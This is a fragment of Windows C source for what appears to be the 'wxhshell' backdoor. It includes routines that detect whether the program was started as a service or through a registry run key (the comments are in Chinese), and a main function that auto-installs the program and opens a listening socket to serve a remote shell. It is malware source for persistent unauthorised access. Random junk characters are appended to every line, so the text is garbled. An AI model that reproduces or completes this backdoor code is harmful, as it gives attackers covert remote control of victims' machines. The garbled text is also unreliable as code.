} PROCESS_BASIC_INFORMATION; v6_fF5N/
K\vyfYi
PROCNTQSIP NtQueryInformationProcess; 0 P-eC|0
K#<cuHGC
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )M(-EDL>Qk
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; BjyGk+A
kc&MO`2 W\
HANDLE hProcess; C@Fk
PROCESS_BASIC_INFORMATION pbi; 2n8spLZYGY
f-/zR %s{
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;wvhe;!
if(NULL == hInst ) return 0; \z>L,U
Xeo2 < @[
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #:n:3]t
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); gx)!0n;
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0($ O1j~$
c O[Hr
if (!NtQueryInformationProcess) return 0; o?l9$"\sqb
QCvz| )
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9EqU
2~
if(!hProcess) return 0; eL7\})!W
+:&,Ts/
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; TUV&9wKXo
)$_b?
CloseHandle(hProcess); "0(
_
P5^<c\Mr,Y
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -*I Dzm
if(hProcess==NULL) return 0; >
R5<D'cEN
vUU)zZB~
HMODULE hMod; b^~"4 fU
char procName[255]; {BA1C
(
unsigned long cbNeeded; ClvqI"Rd
g~i%*u,Y<
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); i)pAFv<$,
R!8 qkG
CloseHandle(hProcess); O!7v&$]1
AQH\ ;L
if(strstr(procName,"services")) return 1; // 以服务启动 wgb
e7-{
z[q#Dw
return 0; // 注册表启动 oju}0h'1
} @{|vW
JXKqQxZ[X
// 主模块 &2EimP
int StartWxhshell(LPSTR lpCmdLine) SQ_w~'(
{ M@=eW Z<
SOCKET wsl; zFn-VEJ)
BOOL val=TRUE; Hmi]qK[F
int port=0; 0+]ol:i
struct sockaddr_in door; d 18>0R
GV1SKa
if(wscfg.ws_autoins) Install(); CE'd`_;HLn
iksd^\]f
port=atoi(lpCmdLine); v7ShXX:
xElHYh(\
if(port<=0) port=wscfg.ws_port; Sl?@c/Ng
sfv{z!mo
WSADATA data; srbU}u3VZ
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ve [*t `
F"k.1.
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; bh9!OqK9K
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); w[bhm$SX]B
door.sin_family = AF_INET; [-*1M4D9
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 7NY9UQ
door.sin_port = htons(port); <u'q._m
V@QWJZ"
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { bP4<q?FKcN
closesocket(wsl); =%}++7#
return 1; X~`<ik{q
} )_vE"ryThA
K|n$-WDG}
if(listen(wsl,2) == INVALID_SOCKET) { vUX(h.}8
closesocket(wsl); B-@ ]+W
return 1; =sR]/XSK
} w
A0$d
Wxhshell(wsl); RW#&